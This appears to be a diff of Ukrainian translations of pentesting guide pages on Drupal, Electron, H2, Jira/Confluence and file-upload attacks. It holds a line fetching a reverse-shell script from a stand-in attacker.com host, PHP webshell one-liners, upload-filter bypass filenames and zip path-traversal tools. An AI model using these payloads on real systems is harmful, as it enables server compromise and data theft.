У меню _Розширити_ (/admin/modules) ви можете активувати те, що, здається, є плагінами, вже встановленими. За замовчуванням плагіни _Медіа_ та _Медійна бібліотека_ не активовані, тож давайте їх активуємо.
Перед активацією:
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Після активації:
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Частина 2 (використання функції _Синхронізація конфігурації_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
@ -122,7 +122,7 @@ allow_insecure_uploads: false
...
```
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
До:
@ -136,7 +136,7 @@ allow_insecure_uploads: true
...
```
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Патч field.field.media.document.field\_media\_document.yml**
@ -152,7 +152,7 @@ file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fod
...
```
<figure><img src="../../../.gitbook/assets/image (5) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (5) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
До:
@ -166,13 +166,13 @@ file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp od
...
```
> Я не використовую це в цьому блозі, але зазначено, що можливо визначити вхід `file_directory` довільним чином і що він вразливий до атаки обходу шляху (тому ми можемо піднятися вгору в дереві файлової системи Drupal).
> Я не використовую це в цьому блозі, але зазначено, що можливо визначити вхід `file_directory` довільним чином і що він вразливий до атаки обходу шляху (тому ми можемо піднятися назад у дереві файлової системи Drupal).
<figure><img src="../../../.gitbook/assets/image (6) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (6) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Частина 3 (використання функції одати документ_) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
Останній крок є найпростішим і поділений на два підкроки. Перший - завантажити файл у форматі .htaccess, щоб використати директиви Apache і дозволити файлам .txt інтерпретуватися PHP-движком. Другий - завантажити файл .txt, що містить наш payload.
Останній крок є найпростішим і поділений на два підкроки. Перший - завантажити файл у форматі .htaccess, щоб використати директиви Apache і дозволити інтерпретацію .txt файлів PHP-движком. Другий - завантажити .txt файл, що містить наш payload.
Файл: .htaccess
```
@ -194,13 +194,13 @@ php_flag engine on
```
Чому цей трюк класний?
Тому що, як тільки Webshell (який ми назвемо LICENSE.txt) буде завантажено на веб-сервер, ми зможемо передавати наші команди через `$_COOKIE`, і в журналах веб-сервера це з'явиться як легітимний GET запит до текстового файлу.
Тому що, як тільки Webshell (який ми назвемо LICENSE.txt) буде завантажено на веб-сервер, ми можемо передавати наші команди через `$_COOKIE`, і в журналах веб-сервера це з'явиться як законний GET запит до текстового файлу.
Чому ми називаємо наш Webshell LICENSE.txt?
Просто тому, що якщо ми візьмемо наступний файл, наприклад [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (який вже присутній у ядрі Drupal), ми маємо файл з 339 рядків і 17.6 КБ розміру, що ідеально підходить для додавання невеликого фрагмента PHP коду посередині (оскільки файл достатньо великий).
Просто тому, що якщо ми візьмемо наступний файл, наприклад [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (який вже присутній у ядрі Drupal), ми маємо файл з 339 рядками і 17.6 КБ розміру, що ідеально підходить для додавання невеликого фрагмента PHP коду посередині (оскільки файл достатньо великий).
<figure><img src="../../../.gitbook/assets/image (7) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (7) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Файл: Виправлений LICENSE.txt
```txt
@ -235,11 +235,11 @@ programs whose distribution conditions are different, write to the author
Спочатку ми використовуємо функцію _Add Document_ (/media/add/document) для завантаження нашого файлу, що містить директиви Apache (.htaccess).
<figure><img src="../../../.gitbook/assets/image (8) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (8) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (9) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (10) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (10) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Частина 3.2 (завантажити файл LICENSE.txt)**
@ -263,7 +263,7 @@ programs whose distribution conditions are different, write to the author
<figure><img src="../../../.gitbook/assets/image (15) (1).png" alt=""><figcaption></figcaption></figure>
І, як ви можете бачити в журналах, виглядає так, ніби запитувався лише txt файл.
І, як ви можете бачити в журналах, здається, що запитувався лише txt файл.
<figure><img src="../../../.gitbook/assets/image (16) (1).png" alt=""><figcaption></figcaption></figure>

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
</details>
{% endhint %}
Якщо скрипт preload відкриває IPC-інтерфейс з файлу main.js, процес рендерингу зможе отримати до нього доступ, і якщо є вразливість, може бути можливість RCE.
Якщо скрипт preload відкриває IPC-інтерфейс з файлу main.js, процес рендерингу зможе отримати до нього доступ, і якщо він вразливий, може бути можливість RCE.
**Більшість з цих прикладів були взяті звідси** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo). Перегляньте відео для отримання додаткової інформації.
@ -23,7 +23,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
Приклад з [https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) (у вас є повний приклад того, як MS Teams зловживав XSS для RCE в цих слайдах, це просто дуже базовий приклад):
<figure><img src="../../../.gitbook/assets/image (9) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (9) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
## Example 1
@ -86,7 +86,7 @@ electronSend("getUpdate","https://attacker.com/path/to/revshell.sh");
```
## Приклад 2
Якщо скрипт попереднього завантаження безпосередньо надає рендереру можливість викликати `shell.openExternal`, це може призвести до отримання RCE
Якщо скрипт попереднього завантаження безпосередньо надає рендереру можливість викликати `shell.openExternal`, це може призвести до отримання RCE.
```javascript
// Part of preload.js code
window.electronOpenInBrowser = (url) => {

View file

@ -1,29 +1,27 @@
# H2 - Java SQL база даних
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Вивчайте та практикуйте AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
Офіційна сторінка: [https://www.h2database.com/html/main.html](https://www.h2database.com/html/main.html)
## Доступ
Ви можете вказати **неіснуючу назву бази даних**, щоб **створити нову базу даних без дійсних облікових даних** (**неавтентифіковану**):
Ви можете вказати **неіснуючу назву бази даних** для того, щоб **створити нову базу даних без дійсних облікових даних** (**неавторизований**):
![](<../../.gitbook/assets/image (131).png>)
@ -39,7 +37,7 @@ _**Трюк з коробки Hawk з HTB.**_
## H2 SQL Injection до RCE
У [**цьому пості**](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/) пояснюється пейлоад для отримання **RCE через H2 базу даних**, зловживаючи **SQL Injection**.
У [**цьому пості**](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/) пояснюється payload для отримання **RCE через H2 базу даних**, зловживаючи **SQL Injection**.
```json
[...]
"details":
@ -50,13 +48,11 @@ _**Трюк з коробки Hawk з HTB.**_
},
[...]
```
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Вивчайте та практикуйте AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
@ -25,7 +25,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
У Jira, **привілеї можна перевірити** будь-яким користувачем, автентифікованим чи ні, через кінцеві точки `/rest/api/2/mypermissions` або `/rest/api/3/mypermissions`. Ці кінцеві точки розкривають поточні привілеї користувача. Значна проблема виникає, коли **неавтентифіковані користувачі мають привілеї**, що вказує на **вразливість безпеки**, яка може бути підставою для **бонусу**. Аналогічно, **неочікувані привілеї для автентифікованих користувачів** також підкреслюють **вразливість**.
Важливе **оновлення** було зроблено **1 лютого 2019 року**, що вимагало, щоб кінцева точка 'mypermissions' включала **параметр 'permission'**. Це вимога має на меті **підвищити безпеку**, уточнюючи привілеї, які запитуються: [перевірте це тут](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
Важливе **оновлення** було зроблено **1 лютого 2019 року**, що вимагало, щоб кінцева точка 'mypermissions' включала **параметр 'permission'**. Це вимога має на меті **підвищити безпеку**, вказуючи на привілеї, які запитуються: [перевірте це тут](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
* ADD\_COMMENTS
* ADMINISTER
@ -129,7 +129,7 @@ public OutputType getOutputType() { return OutputType.BLOCK; }
* **Зворотний шелл**: Або отримати зворотний шелл.
* **DOM-проксіювання**: Якщо Confluence знаходиться в приватній мережі, буде можливим встановити з'єднання через браузер деякого користувача з доступом до нього і, наприклад, зв'язатися з сервером, виконуючи команди через нього.
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Якщо вас цікавить **кар'єра в хакінгу** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).

View file

@ -15,7 +15,7 @@
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Якщо ви зацікавлені в **кар'єрі в хакерстві** та хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
@ -36,7 +36,7 @@
### Обхід перевірок розширень файлів
1. Якщо це застосовно, **перевірте** **попередні розширення.** Також протестуйте їх, використовуючи деякі **великі літери**: _pHp, .pHP5, .PhAr ..._
1. Якщо вони застосовуються, **перевірте** **попередні розширення.** Також протестуйте їх, використовуючи деякі **великі літери**: _pHp, .pHP5, .PhAr ..._
2. _Перевірте **додавання дійсного розширення перед** виконуваним розширенням (використовуйте також попередні розширення):_
* _file.png.php_
* _file.png.Php5_
@ -59,12 +59,12 @@
* _file.php%0a.png_
* _file.php%0d%0a.png_
* _file.phpJunk123png_
5. Додайте **ще один шар розширень** до попередньої перевірки:
5. Додайте **інший шар розширень** до попередньої перевірки:
* _file.png.jpg.php_
* _file.php%00.png%00.jpg_
6. Спробуйте поставити **виконуване розширення перед дійсним розширенням** і сподівайтеся, що сервер неправильно налаштований. (корисно для експлуатації неправильних налаштувань Apache, де все з розширенням **_**.php**_**, але** не обов'язково закінчується на .php** виконає код):
6. Спробуйте поставити **exec розширення перед дійсним розширенням** і сподівайтеся, що сервер неправильно налаштований. (корисно для експлуатації неправильних налаштувань Apache, де все з розширенням **.php**, але не обов'язково закінчується на .php, буде виконувати код):
* _ex: file.php.png_
7. Використання **альтернативного потоку даних NTFS (ADS)** в **Windows**. У цьому випадку символ двокрапки “:” буде вставлений після забороненого розширення і перед дозволеним. В результаті на сервері буде створено **порожній файл з забороненим розширенням** (наприклад, “file.asax:.jpg”). Цей файл може бути відредагований пізніше за допомогою інших технік, таких як використання його короткого імені. Шаблон “**::$data**” також може бути використаний для створення непорожніх файлів. Тому додавання символу крапки після цього шаблону також може бути корисним для обходу подальших обмежень (наприклад, “file.asp::$data.”)
7. Використання **NTFS альтернативного потоку даних (ADS)** у **Windows**. У цьому випадку символ двокрапки “:” буде вставлений після забороненого розширення і перед дозволеним. В результаті на сервері буде створено **порожній файл з забороненим розширенням** (наприклад, “file.asax:.jpg”). Цей файл може бути відредагований пізніше за допомогою інших технік, таких як використання його короткого імені. Шаблон “**::$data**” також може бути використаний для створення непорожніх файлів. Тому додавання символу крапки після цього шаблону також може бути корисним для обходу подальших обмежень (наприклад, “file.asp::$data.”)
8. Спробуйте порушити обмеження імені файлу. Дійсне розширення обрізається. А шкідливий PHP залишається. AAA<--SNIP-->AAA.php
```
@ -86,32 +86,32 @@ AAA<--SNIP 232 A-->AAA.php.png
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` або ви також можете **ввести корисне навантаження безпосередньо** в зображення:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
* Якщо **сжаття додається до вашого зображення**, наприклад, використовуючи деякі стандартні бібліотеки PHP, такі як [PHP-GD](https://www.php.net/manual/fr/book.image.php), попередні техніки не будуть корисні. Однак ви можете використовувати **техніку PLTE chunk** [**визначену тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе стиснення**.
* Якщо **сжаття додається до вашого зображення**, наприклад, за допомогою деяких стандартних PHP бібліотек, таких як [PHP-GD](https://www.php.net/manual/fr/book.image.php), попередні техніки не будуть корисні. Однак ви можете використовувати **техніку PLTE chunk** [**визначену тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе стиснення**.
* [**Github з кодом**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
* Веб-сторінка також може **змінювати розмір** **зображення**, використовуючи, наприклад, функції PHP-GD `imagecopyresized` або `imagecopyresampled`. Однак ви можете використовувати **техніку IDAT chunk** [**визначену тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе стиснення**.
* [**Github з кодом**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
* Ще одна техніка для створення корисного навантаження, яке **переживе зміну розміру зображення**, використовуючи функцію PHP-GD `thumbnailImage`. Однак ви можете використовувати **техніку tEXt chunk** [**визначену тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе стиснення**.
* Інша техніка для створення корисного навантаження, яке **переживе зміну розміру зображення**, використовуючи функцію PHP-GD `thumbnailImage`. Однак ви можете використовувати **техніку tEXt chunk** [**визначену тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе стиснення**.
* [**Github з кодом**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
### Інші трюки для перевірки
* Знайдіть вразливість для **перейменування** вже завантаженого файлу (щоб змінити розширення).
* Знайдіть вразливість **Local File Inclusion**, щоб виконати бекдор.
* Знайдіть вразливість **Local File Inclusion** для виконання бекдору.
* **Можливе розкриття інформації**:
1. Завантажте **кілька разів** (і **одночасно**) **той самий файл** з **тим самим ім'ям**
1. Завантажте **декілька разів** (і в **один і той же час**) **той самий файл** з **тим самим ім'ям**
2. Завантажте файл з **ім'ям** файлу або **папки**, яка **вже існує**
3. Завантажте файл з **“.”, “..”, або “…” як його ім'я**. Наприклад, в Apache в **Windows**, якщо програма зберігає завантажені файли в каталозі “/www/uploads/”, ім'я “.” створить файл під назвою “uploads” у каталозі “/www/”.
3. Завантажте файл з **“.”, “..”, або “…” як його ім'я**. Наприклад, в Apache на **Windows**, якщо програма зберігає завантажені файли в каталозі “/www/uploads/”, ім'я “.” створить файл під назвою “uploads” у каталозі “/www/”.
4. Завантажте файл, який може бути не легко видалити, наприклад, **“…:.jpg”** в **NTFS**. (Windows)
5. Завантажте файл в **Windows** з **недійсними символами**, такими як `|<>*?”` в його імені. (Windows)
6. Завантажте файл в **Windows**, використовуючи **зарезервовані** (**заборонені**) **імена**, такі як CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, і LPT9.
* Спробуйте також **завантажити виконуваний** (.exe) або **.html** (менш підозрілий), який **виконає код**, коли його випадково відкриє жертва.
5. Завантажте файл у **Windows** з **недійсними символами**, такими як `|<>*?”` в його імені. (Windows)
6. Завантажте файл у **Windows**, використовуючи **зарезервовані** (**заборонені**) **імена**, такі як CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, і LPT9.
* Спробуйте також **завантажити виконуваний** (.exe) або **.html** (менш підозрілий), який **виконає код**, коли випадково відкриється жертвою.
### Спеціальні трюки з розширеннями
Якщо ви намагаєтеся завантажити файли на **PHP сервер**, [ознайомтеся з трюком **.htaccess** для виконання коду](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
Якщо ви намагаєтеся завантажити файли на **ASP сервер**, [ознайомтеся з трюком **.config** для виконання коду](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Файли `.phar` схожі на `.jar` для java, але для php, і можуть бути **використані як php файл** (виконуючи його з php або включаючи його в скрипт...)
Файли `.phar` подібні до `.jar` для java, але для php, і можуть бути **використані як php файл** (виконуючи його з php або включаючи його в скрипт...)
Розширення `.inc` іноді використовується для php файлів, які використовуються лише для **імпорту файлів**, тому в якийсь момент хтось міг дозволити **виконання цього розширення**.
@ -151,7 +151,7 @@ characters = @(call://uwsgi_func)
## **wget File Upload/SSRF Trick**
В деяких випадках ви можете виявити, що сервер використовує **`wget`** для **завантаження файлів**, і ви можете **вказати** **URL**. У цих випадках код може перевіряти, що розширення завантажених файлів знаходиться в білому списку, щоб забезпечити завантаження лише дозволених файлів. Однак, **цю перевірку можна обійти.**\
В деяких випадках ви можете виявити, що сервер використовує **`wget`** для **завантаження файлів** і ви можете **вказати** **URL**. У цих випадках код може перевіряти, що розширення завантажених файлів знаходиться в білому списку, щоб забезпечити завантаження лише дозволених файлів. Однак, **цю перевірку можна обійти.**\
**Максимальна** довжина **імені файлу** в **linux** становить **255**, однак **wget** обрізає імена файлів до **236** символів. Ви можете **завантажити файл під назвою "A"\*232+".php"+".gif"**, це ім'я файлу **обійде** **перевірку** (оскільки в цьому прикладі **".gif"** є **допустимим** розширенням), але `wget` **перейменує** файл на **"A"\*232+".php"**.
```bash
#Create file and HTTP server
@ -195,7 +195,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
* [Відома вразливість **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
* Якщо ви можете **вказати веб-серверу, щоб отримати зображення з URL**, ви можете спробувати зловживати [SSRF](../ssrf-server-side-request-forgery/). Якщо це **зображення** буде **збережено** на якомусь **публічному** сайті, ви також можете вказати URL з [https://iplogger.org/invisible/](https://iplogger.org/invisible/) і **вкрасти інформацію про кожного відвідувача**.
* [**XXE та CORS** обхід з завантаженням PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
* Спеціально підготовлені PDF для XSS: [наступна сторінка показує, як **впровадити PDF-дані для отримання виконання JS**](../xss-cross-site-scripting/pdf-injection.md). Якщо ви можете завантажувати PDF, ви можете підготувати деякі PDF, які виконуватимуть довільний JS відповідно до вказаних вказівок.
* Спеціально підготовлені PDF для XSS: [наступна сторінка показує, як **впровадити дані PDF для отримання виконання JS**](../xss-cross-site-scripting/pdf-injection.md). Якщо ви можете завантажувати PDF, ви можете підготувати деякі PDF, які виконуватимуть довільний JS відповідно до вказаних вказівок.
* Завантажте \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) вміст, щоб перевірити, чи є на сервері якийсь **антивірус**
* Перевірте, чи є якийсь **обмеження за розміром** при завантаженні файлів
@ -204,11 +204,11 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Збережений XSS / SSRF / XXE
3. **GIF**: Збережений XSS / SSRF
4. **CSV**: CSV-ін'єкція
4. **CSV**: Ін'єкція CSV
5. **XML**: XXE
6. **AVI**: LFI / SSRF
7. **HTML / JS** : HTML-ін'єкція / XSS / Відкрите перенаправлення
8. **PNG / JPEG**: Атака на піксельний потік (DoS)
7. **HTML / JS** : Ін'єкція HTML / XSS / Відкрите перенаправлення
8. **PNG / JPEG**: Атака на піксельний потоп (DoS)
9. **ZIP**: RCE через LFI / DoS
10. **PDF / PPTX**: SSRF / BLIND XXE
@ -227,7 +227,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
Якщо ви можете завантажити ZIP, який буде розпакований на сервері, ви можете зробити 2 речі:
#### Символьне посилання
#### Символічне посилання
Завантажте посилання, що містить м'які посилання на інші файли, а потім, отримуючи доступ до розпакованих файлів, ви отримаєте доступ до пов'язаних файлів:
```
@ -237,7 +237,7 @@ tar -cvf test.tar symindex.txt
```
### Decompress in different folders
Несподіване створення файлів у каталогах під час розпакування є значною проблемою. Незважаючи на початкові припущення, що ця конфігурація може захистити від виконання команд на рівні ОС через шкідливі завантаження файлів, ієрархічна підтримка стиснення та можливості обходу каталогів формату ZIP-архіву можуть бути використані. Це дозволяє зловмисникам обходити обмеження та виходити за межі безпечних каталогів завантаження, маніпулюючи функціональністю розпакування цільового застосунку.
Несподіване створення файлів у каталогах під час розпакування є значною проблемою. Незважаючи на початкові припущення, що ця конфігурація може захистити від виконання команд на рівні ОС через шкідливі завантаження файлів, ієрархічна підтримка стиснення та можливості обходу каталогів формату ZIP можуть бути використані. Це дозволяє зловмисникам обходити обмеження та виходити за межі безпечних каталогів завантаження, маніпулюючи функціональністю розпакування цільового застосунку.
Автоматизований експлойт для створення таких файлів доступний на [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Утиліту можна використовувати, як показано:
```python
@ -304,9 +304,9 @@ pop graphic-context
```
## Вбудовування PHP Shell у PNG
Вбудовування PHP shell у частину IDAT файлу PNG може ефективно обійти певні операції обробки зображень. Функції `imagecopyresized` та `imagecopyresampled` з PHP-GD є особливо актуальними в цьому контексті, оскільки вони зазвичай використовуються для зміни розміру та ресемплінгу зображень відповідно. Здатність вбудованого PHP shell залишатися незмінним під час цих операцій є значною перевагою для певних випадків використання.
Вбудовування PHP shell у частину IDAT файлу PNG може ефективно обійти певні операції обробки зображень. Функції `imagecopyresized` та `imagecopyresampled` з PHP-GD є особливо актуальними в цьому контексті, оскільки їх зазвичай використовують для зміни розміру та ресемплінгу зображень відповідно. Здатність вбудованого PHP shell залишатися незмінним під час цих операцій є значною перевагою для певних випадків використання.
Детальне дослідження цієї техніки, включаючи її методологію та потенційні застосування, надається в наступній статті: ["Кодування веб-оболонок у частинах PNG IDAT"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Цей ресурс пропонує всебічне розуміння процесу та його наслідків.
Детальне дослідження цієї техніки, включаючи її методологію та потенційні застосування, надано в наступній статті: ["Кодування веб-оболонок у частинах PNG IDAT"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Цей ресурс пропонує всебічне розуміння процесу та його наслідків.
Більше інформації за адресою: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
@ -314,9 +314,9 @@ pop graphic-context
Поліглотні файли слугують унікальним інструментом у кібербезпеці, діючи як хамелеони, які можуть дійсно існувати в кількох форматах файлів одночасно. Цікавим прикладом є [GIFAR](https://en.wikipedia.org/wiki/Gifar), гібрид, який функціонує як GIF, так і RAR-архів. Такі файли не обмежуються лише цим поєднанням; комбінації, такі як GIF і JS або PPT і JS, також можливі.
Основна корисність поліглотних файлів полягає в їх здатності обходити заходи безпеки, які перевіряють файли за типом. Загальноприйнята практика в різних додатках передбачає дозволення лише певних типів файлів для завантаження — таких як JPEG, GIF або DOC — щоб зменшити ризик, пов'язаний з потенційно шкідливими форматами (наприклад, JS, PHP або Phar файли). Однак поліглот, відповідно до структурних критеріїїв кількох типів файлів, може непомітно обійти ці обмеження.
